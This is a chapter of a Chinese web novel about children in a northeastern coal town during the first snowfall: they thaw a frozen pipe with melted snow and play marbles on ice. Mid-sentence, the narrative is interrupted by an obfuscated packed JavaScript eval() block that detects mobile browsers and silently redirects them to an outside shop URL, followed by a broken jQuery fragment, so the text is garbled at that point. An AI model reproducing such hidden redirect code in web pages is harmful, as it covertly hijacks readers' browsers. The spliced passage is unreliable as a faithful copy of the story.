文趣网 > 其他小说 > 姐控要从小养起 > 4. 第四章
    周小萍不知道那些所谓的“南方人”见到雪是什么样的,至少他们这些东北的七八岁的小孩见到雪,已经不会兴奋地哇哇大叫了。

    况且对于小煤镇的人来说,没人有闲心去赏那甚么雪花飘飘,柳絮飞舞的良辰美景。很不浪漫地说,落雪对他们更像是一种不严重的自然灾害。

    落了雪,融在土路上,又是泥泞,又是冰滑,一不小心就能摔个结实的屁股墩儿。若是摔得不凑巧,你就得搁家里老老实实地躺上一阵。

    再说,到了冬天大家都穿棉鞋保暖,但若是棉鞋沾了水,冰凉凉地直直渗到脚心去,原本厚厚的棉絮倒成了累赘,一连几天才能晾干。

    总得来讲,一个词儿,麻烦。

    这些还都算是小麻烦,更大的麻烦在后头呢。周小萍一出了门,突然摸着了雪花,就先往公共厕所那边跑。

    果不其然,远远地她就看见好几个大人围在那个铁皮房子旁边。一旁比较干净的一块地上堆满了厚厚的布料,大人们捡点碎煤烧了几盆火,正准备烘在裸露的水管外边儿。

    今年雪下得突然,前几天都还不到要下雪的温度,大人还没来得及把公共厕所的水管裹上。突然地,雪一落,水管就冻上了。

    周小萍跑过去,和熟悉的邻居们打了个招呼:“要帮忙吗?”

    一个相熟的婶儿温柔地拉周小萍过来,给她理理围脖:“大人干活,哪用得上你呀。小萍去玩儿吧。”

    周小萍垂着脑袋看着婶儿的动作,露出洁白光亮的额头。她乖乖地应了一声儿,就跑到一边儿去了。

    她猜马建新他们出了门发现下雪,应该都会往这儿跑,于是转身找了块干净的地方打算坐下。

    要么说冬天麻烦呢,秋裤线裤毛裤,腿都打不了弯儿了。她费劲地扯松因穿了三条裤子而紧绷的裤管儿,拍拍地上的土,坐下等着。

    果然,伙伴们陆陆续续都来了。一众大眼睛左右转了转,见似乎确实不缺他们几个小孩儿的活干,对婶儿叔儿点了点头,刚要告辞,突然人群里有人嗷了一声,接着喊:“水管爆了!”

    所有人的目光都往那人看去。

    众人见得靠在外头的一根水管,裂了一个口子。里头的冰块还没化完,方才水管爆的一瞬间,冰碴子同铁渣子一块儿“砰”地崩了出来,溅了那人一身。好在冬天穿的厚,没见着什么伤口。

    要说水管冻上有什么害处,除了显而易见的没水用之外,最麻烦的就是如果冰结得太迅速,会把水管撑爆。

    旁边一个大娘哎呦一声:“这么快就爆了,赶紧拿火烧开呀。”

    “大娘,你拿火烧它更容易炸。”

    大娘听到不知道哪儿冷不丁冒出一句话,左看右看,才看到蹲在周小萍身后的那个黑瘦的小女孩儿。

    扎着冲天辫的李翠翠瞪着一双黑亮的眼睛看着她,大娘抬抬下巴问她:“冰块儿堵上了才容易炸,为啥不能搞火烧?”

    李翠翠挠挠脑袋:“我爸以前和我说过,什么热‘长’冷缩来着……总之它现在太冷了,你突然拿火烧,它会变得脆脆的。”

    李翠翠他爹年轻的时候还念过市里的重点高中嘞,但不经用,肩不能扛手不能提的,小煤镇的人没多看得起他。四十多岁了,他还是有事儿没事儿就喜欢和几个娃显摆他那点儿“不实用”的知识。

    大娘愣了愣,旁边一个叔儿接道:“哟呵,那你说怎么办。”

    王自强瞄了周小萍一眼,自以为聪明地答道:“拿个温度低点的……”

    “哪有温度低点的东西,你上去抱着把它捂热吧。”

    几个小孩闻言在旁边嗤嗤地笑,王自强脸一红,气鼓鼓地不说话了。

    丁家强蹲在周小萍身边。周小萍转脸看了看他,努了努嘴。

    这小子不是一向机灵吗?看你表现了。

    丁家强眨巴了两下眼睛,领悟了周小萍的意思,竟然油然而生一种熊熊的斗志。

    被老大钦点难道不是一件每个身为小弟的人都觉得很荣耀的事情?!

    他眼咕噜一转,立刻有了一个点子:“用开水浇吧,开水温度低。”

    那大叔更加好笑:“冻的就是水管,哪来的水给你用?”

    丁家强抽出一只细瘦的手,往脚下指了指,诺诺地看着他。

    那大叔低头一看,一地白花花的雪。

    几盆火上有锅架着几盆雪在烧,不多时,白雪的尖尖降下去,“咕嘟咕嘟”的声音响起来。大人们用布垫着拿起锅,一点一点浇在冰凉的铁管上。

    水管发出几声诡异的声响,突然,出水的那个口掉出来一大截冰块儿。接着就像开了闸似的,一节节圆柱的冰滑了出来,丁零当啷掉了一地。

    小孩儿们欢呼着,去捡那冰柱子玩儿。

    一摸上去,手马上冻红了。几个不怕冷的小孩儿抓起来就往边跑,支起那一截截晶莹剔透的圆柱开始搭房子。

    大人们互相交换了一下眼神。

    你别说,有时候还是小孩儿的思维最灵活,总能提出些已经在生活中被经验规训过的大人想不出的好点子。

    中午各回各家吃了顿饱饭,午觉也不睡,几个正值精力旺盛的小孩儿又聚头了。

    玩儿够了冰柱子,也不知道还有啥可玩儿,众人无聊地打起了哈欠。这时陈国豪猫着腰,招呼他们靠近。大家不知道他搞什么名堂,低头凑过去一看,陈国豪小心地掏出几个玻璃珠子,几个小孩儿“哇”的一声。

    那些珠子比杂货店里卖的品相好得多,几乎没什么混浊,形状也很圆。

    质量这么好的珠子是很难弄到的。他们羡慕地看着母亲在玻璃厂上班的陈国豪。

    他不好意思地笑了笑:“我妈昨天晚上拿回来给我的,我们一块儿玩吧。”

    大家看着土路,总觉得这泥泞的路配不上这好珠子似的,犹豫地攥着玻璃珠,不愿往地上放。

    突然,丁家强站起来,去接了一盆水,端回来。

    “让远点!”

    大家看他

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17722059|208715||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    吃力地端着,像马上要洒似的,赶紧跑开两步。

    丁家强将水倒在地上,把盆子送了回去。

    大家看着地上的水把泥泞一冲,以肉眼可见的速度染上了朵朵冰花,慢慢凝固成了一块硬邦邦的晶莹的冰地。

    周小萍叉着腰,小声地嘀咕了一句:“还真挺有点子的……”

    把一旁的丁家强听得缩着肩膀捂着嘴模样猥琐地偷偷乐了半天。

    冰地比平常土路更光滑,对打弹珠的技术要求更高了。几个小孩撅着屁股在地上蛄蛹了一下午,可算玩了尽兴。

    飘飘洒洒下了一天的雪,纵使下的不大,地上也已积了一层白色的薄被。玩的时候不觉得冷,一站起来,冷风直往袖口和领口里钻。他们抖抖身上的雪,手拉着手团起来一起往回走。

    几个小孩儿腿短,在不深的雪地里走路都要一瘸一拐的。还要时不时你打我一下,我打你一下,很快就笑不动了,各个都气喘吁吁。

    路过王叔家,王自强提了一句,他爸妈怕母鸡冻死,给母鸡们搭了鸡窝。众人顿时十分好奇,起哄着进去看了一眼。

    王叔今天可算不在家,几人顿时自在多了。王自强领着他们去了后屋鸡圈,里面正有一个木头房子,顶上和侧边盖了许多稻草,看着圆滚滚的,有几分喜感。

    王自强打开门栓,只听“咕咕”几声,马上有被关了一整天的母鸡探出头来。

    打头的正是那只“战斗鸡”,丁家强一看见它就直往周小萍身后躲,属实是有了心理阴影。周小萍也好笑,张开不大的臂膀挡住他。

    谁知那威风凛凛的母鸡刚出来,被冷风一吹,竟然掉了头就“咕咕”地往回跑!

    后头的母鸡们不晓得发生了啥,也跟着一个接一个地跑了回去。雪地里,一群母鸡刚露了个头又灰溜溜地回去了,留下旁边几个曾经的“手下败将”看得目瞪口呆,均是哈哈大笑。

    周小萍一回到家就对着爸妈高兴地说今天发生的事。周母周父好笑地对视一眼,摇摇头,给周小萍的碗里多夹了一些菜。

    方才和同伴们挤作一团闹着回来的画面犹在周小萍眼前,彼此之间呵出的热气交融又飘散,凛冽的北风也盖不住他们的笑声。雪花下的眉眼漆黑又烁亮,在脑海中刻印得具体。

    她想了想,大人们不感兴趣,兴许是自己无法描述出那样美好的画面,自然也传递不出她的喜悦。这样一想,周小萍就释然了。

    至少她认为今年第一场落雪这天,是她记忆里最好玩的一天。

    一顿饱饭过去,周小萍心满意足地上炕了。

    屋外的雪还在下着,飘飘洒洒,没有要停的迹象。这温暖的小屋便格外显出一种隔绝与可靠,周小萍窝在爸妈怀中,带着微笑闭上双眼。

    同时进入梦乡的,还有她的伙伴、小煤镇的大人、东北的无数农民。彼时的他们并未料到,在很长一段时间里,饱餐一顿慢慢变成了一种奢侈。

    漫长的冬季即将来临——伴随着一场天灾。